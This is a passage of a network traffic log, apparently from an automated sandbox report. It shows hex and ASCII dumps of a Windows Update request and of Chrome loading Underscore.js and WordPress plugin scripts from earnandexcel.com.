28 6e 2c 74 2c 72 29 Data Ascii: ],n);return n},v.map=v.collect=function(n,t,r){t=d(t,r);for(var e=!j(n)&&v.keys(n),u=(e\|\|n).length,i=Array(u),o=0;o<u;o++){var a=e?e[o]:o;i[o]=t(n[a],a,n)}return i},v.reduce=v.foldl=v.inject=w(1),v.reduceRight=v.foldr=w(-1),v.find=v.detect=function(n,t,r)
2024-04-11 21:26:47 UTC	1369	IN	Data Raw: 65 2c 74 29 2c 76 2e 65 61 63 68 28 6e 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 75 3d 65 28 6e 2c 74 2c 72 29 2c 28 6f 3c 75 7c 7c 75 3d 3d 3d 2d 31 2f 30 26 26 69 3d 3d 3d 2d 31 2f 30 29 26 26 28 69 3d 6e 2c 6f 3d 75 29 7d 29 3b 72 65 74 75 72 6e 20 69 7d 2c 76 2e 6d 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 65 2c 74 29 7b 76 61 72 20 72 2c 75 2c 69 3d 31 2f 30 2c 6f 3d 31 2f 30 3b 69 66 28 6e 75 6c 6c 3d 3d 65 26 26 6e 75 6c 6c 21 3d 6e 29 66 6f 72 28 76 61 72 20 61 3d 30 2c 63 3d 28 6e 3d 6a 28 6e 29 3f 6e 3a 76 2e 76 61 6c 75 65 73 28 6e 29 29 2e 6c 65 6e 67 74 68 3b 61 3c 63 3b 61 2b 2b 29 28 72 3d 6e 5b 61 5d 29 3c 69 26 26 28 69 3d 72 29 3b 65 6c 73 65 20 65 3d 64 28 65 2c 74 29 2c 76 2e 65 61 63 68 28 6e 2c 66 75 6e 63 74 69 6f 6e 28 6e Data Ascii: e,t),v.each(n,function(n,t,r){u=e(n,t,r),(o<u\|\|u===-1/0&&i===-1/0)&&(i=n,o=u)});return i},v.min=function(n,e,t){var r,u,i=1/0,o=1/0;if(null==e&&null!=n)for(var a=0,c=(n=j(n)?n:v.values(n)).length;a<c;a++)(r=n[a])<i&&(i=r);else e=d(e,t),v.each(n,function(n
2024-04-11 21:26:47 UTC	1369	IN	Data Raw: 29 3f 75 3a 69 29 2e 70 75 73 68 28 6e 29 7d 29 2c 5b 75 2c 69 5d 7d 2c 76 2e 66 69 72 73 74 3d 76 2e 68 65 61 64 3d 76 2e 74 61 6b 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 69 66 28 6e 75 6c 6c 21 3d 6e 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 7c 7c 72 3f 6e 5b 30 5d 3a 76 2e 69 6e 69 74 69 61 6c 28 6e 2c 6e 2e 6c 65 6e 67 74 68 2d 74 29 7d 2c 76 2e 69 6e 69 74 69 61 6c 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 63 2e 63 61 6c 6c 28 6e 2c 30 2c 4d 61 74 68 2e 6d 61 78 28 30 2c 6e 2e 6c 65 6e 67 74 68 2d 28 6e 75 6c 6c 3d 3d 74 7c 7c 72 3f 31 3a 74 29 29 29 7d 2c 76 2e 6c 61 73 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 69 66 28 6e 75 6c 6c 21 3d 6e 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 7c 7c Data Ascii: )?u:i).push(n)}),[u,i]},v.first=v.head=v.take=function(n,t,r){if(null!=n)return null==t\|\|r?n[0]:v.initial(n,n.length-t)},v.initial=function(n,t,r){return c.call(n,0,Math.max(0,n.length-(null==t\|\|r?1:t)))},v.last=function(n,t,r){if(null!=n)return null==t\|\|
2024-04-11 21:26:47 UTC	1369	IN	Data Raw: 2e 70 75 73 68 28 66 29 2c 75 2e 70 75 73 68 28 63 29 29 3a 76 2e 63 6f 6e 74 61 69 6e 73 28 75 2c 63 29 7c 7c 75 2e 70 75 73 68 28 63 29 7d 72 65 74 75 72 6e 20 75 7d 2c 76 2e 75 6e 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 76 2e 75 6e 69 71 28 41 28 61 72 67 75 6d 65 6e 74 73 2c 21 30 2c 21 30 29 29 7d 2c 76 2e 69 6e 74 65 72 73 65 63 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 65 3d 30 2c 75 3d 5f 28 6e 29 3b 65 3c 75 3b 65 2b 2b 29 7b 76 61 72 20 69 3d 6e 5b 65 5d 3b 69 66 28 21 76 2e 63 6f 6e 74 61 69 6e 73 28 74 2c 69 29 29 7b 66 6f 72 28 76 61 72 20 6f 3d 31 3b 6f 3c 72 26 26 76 2e 63 6f 6e 74 61 69 6e 73 28 61 72 67 75 6d Data Ascii: .push(f),u.push(c)):v.contains(u,c)\|\|u.push(c)}return u},v.union=function(){return v.uniq(A(arguments,!0,!0))},v.intersection=function(n){for(var t=[],r=arguments.length,e=0,u=_(n);e<u;e++){var i=n[e];if(!v.contains(t,i)){for(var o=1;o<r&&v.contains(argum
2024-04-11 21:26:47 UTC	1369	IN	Data Raw: 74 28 63 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 29 29 7d 3b 72 65 74 75 72 6e 20 65 7d 2c 76 2e 70 61 72 74 69 61 6c 3d 66 75 6e 63 74 69 6f 6e 28 75 29 7b 76 61 72 20 69 3d 63 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 74 3d 69 2e 6c 65 6e 67 74 68 2c 72 3d 41 72 72 61 79 28 74 29 2c 65 3d 30 3b 65 3c 74 3b 65 2b 2b 29 72 5b 65 5d 3d 69 5b 65 5d 3d 3d 3d 76 3f 61 72 67 75 6d 65 6e 74 73 5b 6e 2b 2b 5d 3a 69 5b 65 5d 3b 66 6f 72 28 3b 6e 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 29 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 5b 6e 2b 2b 5d 29 3b 72 65 74 75 72 6e 20 46 28 75 2c 6f 2c 74 68 69 73 2c 74 68 69 73 2c 72 29 7d 3b 72 65 74 75 72 6e Data Ascii: t(c.call(arguments)))};return e},v.partial=function(u){var i=c.call(arguments,1),o=function(){for(var n=0,t=i.length,r=Array(t),e=0;e<t;e++)r[e]=i[e]===v?arguments[n++]:i[e];for(;n<arguments.length;)r.push(arguments[n++]);return F(u,o,this,this,r)};return
2024-04-11 21:26:47 UTC	1369	IN	Data Raw: 74 75 72 6e 20 76 2e 70 61 72 74 69 61 6c 28 74 2c 6e 29 7d 2c 76 2e 6e 65 67 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 6e 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 76 2e 63 6f 6d 70 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 61 72 67 75 6d 65 6e 74 73 2c 65 3d 72 2e 6c 65 6e 67 74 68 2d 31 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 6e 3d 65 2c 74 3d 72 5b 65 5d 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 3b 6e 2d 2d 3b 29 74 3d 72 5b 6e 5d 2e 63 61 6c 6c 28 74 68 69 73 2c 74 29 3b 72 65 74 75 72 6e 20 74 7d 7d 2c 76 2e 61 66 74 65 72 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: turn v.partial(t,n)},v.negate=function(n){return function(){return!n.apply(this,arguments)}},v.compose=function(){var r=arguments,e=r.length-1;return function(){for(var n=e,t=r[e].apply(this,arguments);n--;)t=r[n].call(this,t);return t}},v.after=function(
2024-04-11 21:26:47 UTC	1369	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 6f 72 28 76 61 72 20 74 3d 7b 7d 2c 72 3d 76 2e 6b 65 79 73 28 6e 29 2c 65 3d 30 2c 75 3d 72 2e 6c 65 6e 67 74 68 3b 65 3c 75 3b 65 2b 2b 29 74 5b 6e 5b 72 5b 65 5d 5d 5d 3d 72 5b 65 5d 3b 72 65 74 75 72 6e 20 74 7d 2c 76 2e 66 75 6e 63 74 69 6f 6e 73 3d 76 2e 6d 65 74 68 6f 64 73 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 2c 72 3d 5b 5d 3b 66 6f 72 28 74 20 69 6e 20 6e 29 76 2e 69 73 46 75 6e 63 74 69 6f 6e 28 6e 5b 74 5d 29 26 26 72 2e 70 75 73 68 28 74 29 3b 72 65 74 75 72 6e 20 72 2e 73 6f 72 74 28 29 7d 2c 76 2e 65 78 74 65 6e 64 3d 6d 28 76 2e 61 6c 6c 4b 65 79 73 29 2c 76 2e 65 78 74 65 6e 64 4f 77 6e 3d 76 2e 61 73 73 69 67 6e 3d 6d 28 76 2e 6b 65 79 73 29 2c 76 2e 66 69 6e 64 4b 65 79 3d 66 75 Data Ascii: =function(n){for(var t={},r=v.keys(n),e=0,u=r.length;e<u;e++)t[n[r[e]]]=r[e];return t},v.functions=v.methods=function(n){var t,r=[];for(t in n)v.isFunction(n[t])&&r.push(t);return r.sort()},v.extend=m(v.allKeys),v.extendOwn=v.assign=m(v.keys),v.findKey=fu
2024-04-11 21:26:47 UTC	1369	IN	Data Raw: 67 5d 22 3a 72 65 74 75 72 6e 22 22 2b 6e 3d 3d 22 22 2b 74 3b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 4e 75 6d 62 65 72 5d 22 3a 72 65 74 75 72 6e 2b 6e 21 3d 2b 6e 3f 2b 74 21 3d 2b 74 3a 30 3d 3d 2b 6e 3f 31 2f 2b 6e 3d 3d 31 2f 74 3a 2b 6e 3d 3d 2b 74 3b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 44 61 74 65 5d 22 3a 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 42 6f 6f 6c 65 61 6e 5d 22 3a 72 65 74 75 72 6e 2b 6e 3d 3d 2b 74 7d 76 61 72 20 69 3d 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 5d 22 3d 3d 3d 75 3b 69 66 28 21 69 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 6e 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 6f 3d 6e 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 75 3d 74 2e 63 6f 6e 73 Data Ascii: g]":return""+n==""+t;case"[object Number]":return+n!=+n?+t!=+t:0==+n?1/+n==1/t:+n==+t;case"[object Date]":case"[object Boolean]":return+n==+t}var i="[object Array]"===u;if(!i){if("object"!=typeof n\|\|"object"!=typeof t)return!1;var o=n.constructor,u=t.cons

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.17	49874	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:47 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YOuaHwAoM57sNuV&MD=m9tW+5xE HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-11 21:26:47 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: d4eaf244-37a1-4673-9c42-6c93adde123e MS-RequestId: e1eda674-d8b9-44b1-b178-e6b3d9108fbc MS-CV: lHnCgPaDyEGdFxyN.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 11 Apr 2024 21:26:46 GMT Connection: close Content-Length: 24490
2024-04-11 21:26:47 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-11 21:26:47 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.17	49877	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:47 UTC	1043	OUT	GET /wp-includes/js/wp-util.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:47 UTC	943	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:47 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e93cb15424b-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"5ff61da4-435" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Wed, 06 Jan 2021 20:29:24 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RAirdFeZf8CJnSdDS%2BgGAcA7C%2BiZVAbBjWM%2Bgqq6zfa6D1EAf1qpqebCs7bwBktIUNuDdbxp3vfk2AuMTOPeMYdt%2Br%2B8oxEtYW4I5yvfYHBCWJqXbQ1JztrkdnXCE9EDeSs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:47 UTC	426	IN	Data Raw: 34 33 35 0d 0a 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 77 69 6e 64 6f 77 2e 77 70 3d 77 69 6e 64 6f 77 2e 77 70 7c 7c 7b 7d 2c 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 5f 77 70 55 74 69 6c 53 65 74 74 69 6e 67 73 3f 7b 7d 3a 5f 77 70 55 74 69 6c 53 65 74 74 69 6e 67 73 3b 77 70 2e 74 65 6d 70 6c 61 74 65 3d 5f 2e 6d 65 6d 6f 69 7a 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 2c 73 3d 7b 65 76 61 6c 75 61 74 65 3a 2f 3c 23 28 5b 5c 73 5c 53 5d 2b 3f 29 23 3e 2f 67 2c 69 6e 74 65 72 70 6f 6c 61 74 65 3a 2f 5c 7b 5c 7b 5c 7b 28 5b 5c 73 5c 53 5d 2b 3f 29 5c 7d 5c 7d 5c 7d 2f 67 2c 65 73 63 61 70 65 3a 2f 5c 7b Data Ascii: 435/! This file is auto-generated /window.wp=window.wp\|\|{},function(i){var e="undefined"==typeof _wpUtilSettings?{}:_wpUtilSettings;wp.template=_.memoize(function(t){var n,s={evaluate:/<#([\s\S]+?)#>/g,interpolate:/\{\{\{([\s\S]+?)\}\}\}/g,escape:/\{
2024-04-11 21:26:47 UTC	658	IN	Data Raw: 2e 61 6a 61 78 2e 73 65 6e 64 28 7b 64 61 74 61 3a 5f 2e 69 73 4f 62 6a 65 63 74 28 65 29 3f 65 3a 5f 2e 65 78 74 65 6e 64 28 74 7c 7c 7b 7d 2c 7b 61 63 74 69 6f 6e 3a 65 7d 29 7d 29 7d 2c 73 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 74 3b 72 65 74 75 72 6e 20 5f 2e 69 73 4f 62 6a 65 63 74 28 65 29 3f 6e 3d 65 3a 28 6e 3d 6e 7c 7c 7b 7d 29 2e 64 61 74 61 3d 5f 2e 65 78 74 65 6e 64 28 6e 2e 64 61 74 61 7c 7c 7b 7d 2c 7b 61 63 74 69 6f 6e 3a 65 7d 29 2c 6e 3d 5f 2e 64 65 66 61 75 6c 74 73 28 6e 7c 7c 7b 7d 2c 7b 74 79 70 65 3a 22 50 4f 53 54 22 2c 75 72 6c 3a 77 70 2e 61 6a 61 78 2e 73 65 74 74 69 6e 67 73 2e 75 72 6c 2c 63 6f 6e 74 65 78 74 3a 74 68 69 73 7d 29 2c 28 65 3d 28 74 3d 69 2e 44 65 66 65 72 72 65 64 28 66 75 6e 63 74 69 Data Ascii: .ajax.send({data:_.isObject(e)?e:_.extend(t\|\|{},{action:e})})},send:function(e,n){var t;return _.isObject(e)?n=e:(n=n\|\|{}).data=_.extend(n.data\|\|{},{action:e}),n=_.defaults(n\|\|{},{type:"POST",url:wp.ajax.settings.url,context:this}),(e=(t=i.Deferred(functi
2024-04-11 21:26:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.17	49878	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:47 UTC	1089	OUT	GET /wp-content/plugins/wpforms/assets/js/integrations/elementor/frontend.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:47 UTC	945	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:47 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e93c95ec331-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"631e5040-2f2" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Sun, 11 Sep 2022 21:16:48 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ByMA%2B%2Bu2PA4He45AvfkjFa0%2FrjFk7w5AaYZUYFj00HL5NydzobYwFNugEhoJ7o7DoF7BmAA6LRJCKoGd9MaRt%2F971Xwuuk0%2B7k3RG2LmdPnf3TaT5ILMxvw%2BiwbOzZtcR3E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:47 UTC	424	IN	Data Raw: 32 66 32 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 57 50 46 6f 72 6d 73 45 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 3d 77 69 6e 64 6f 77 2e 57 50 46 6f 72 6d 73 45 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 72 29 7b 76 61 72 20 74 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 65 76 65 6e 74 73 28 29 7d 2c 65 76 65 6e 74 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 28 6f 29 2e 6f 6e 28 22 65 6c 65 6d 65 6e 74 6f 72 2f 70 6f 70 75 70 2f 73 68 6f 77 22 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 2c 6e 29 7b 6f 3d 72 28 22 23 65 6c 65 6d 65 6e 74 6f 72 2d 70 6f 70 75 70 2d 6d 6f 64 61 6c 2d 22 2b 6f 29 2e 66 69 6e 64 28 22 2e 77 70 66 6f 72 6d 73 2d 66 6f 72 6d 22 29 3b 6f 2e 6c 65 6e 67 Data Ascii: 2f2"use strict";var WPFormsElementorFrontend=window.WPFormsElementorFrontend\|\|function(o,r){var t={init:function(){t.events()},events:function(){r(o).on("elementor/popup/show",function(e,o,n){o=r("#elementor-popup-modal-"+o).find(".wpforms-form");o.leng
2024-04-11 21:26:47 UTC	337	IN	Data Raw: 70 74 63 68 61 4c 6f 61 64 26 26 28 22 72 65 63 61 70 74 63 68 61 22 3d 3d 3d 77 70 66 6f 72 6d 73 45 6c 65 6d 65 6e 74 6f 72 56 61 72 73 2e 63 61 70 74 63 68 61 5f 70 72 6f 76 69 64 65 72 26 26 22 76 33 22 3d 3d 3d 77 70 66 6f 72 6d 73 45 6c 65 6d 65 6e 74 6f 72 56 61 72 73 2e 72 65 63 61 70 74 63 68 61 5f 74 79 70 65 3f 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 72 65 63 61 70 74 63 68 61 26 26 67 72 65 63 61 70 74 63 68 61 2e 72 65 61 64 79 28 77 70 66 6f 72 6d 73 52 65 63 61 70 74 63 68 61 4c 6f 61 64 29 3a 77 70 66 6f 72 6d 73 52 65 63 61 70 74 63 68 61 4c 6f 61 64 28 29 29 2c 72 28 6f 29 2e 74 72 69 67 67 65 72 28 22 77 70 66 6f 72 6d 73 5f 65 6c 65 6d 65 6e 74 6f 72 5f 66 6f 72 6d 5f 66 69 65 6c 64 73 5f 69 6e 69 74 69 61 6c 69 Data Ascii: ptchaLoad&&("recaptcha"===wpformsElementorVars.captcha_provider&&"v3"===wpformsElementorVars.recaptcha_type?"undefined"!=typeof grecaptcha&&grecaptcha.ready(wpformsRecaptchaLoad):wpformsRecaptchaLoad()),r(o).trigger("wpforms_elementor_form_fields_initiali
2024-04-11 21:26:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.17	49880	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:47 UTC	1083	OUT	GET /wp-content/plugins/thrive-ultimatum/js/dist/no-campaign.min.js?v=3.25 HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
2024-04-11 21:26:47 UTC	941	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:47 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e94ef908cb7-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"6571c6d4-1c5" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Thu, 07 Dec 2023 13:21:24 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: 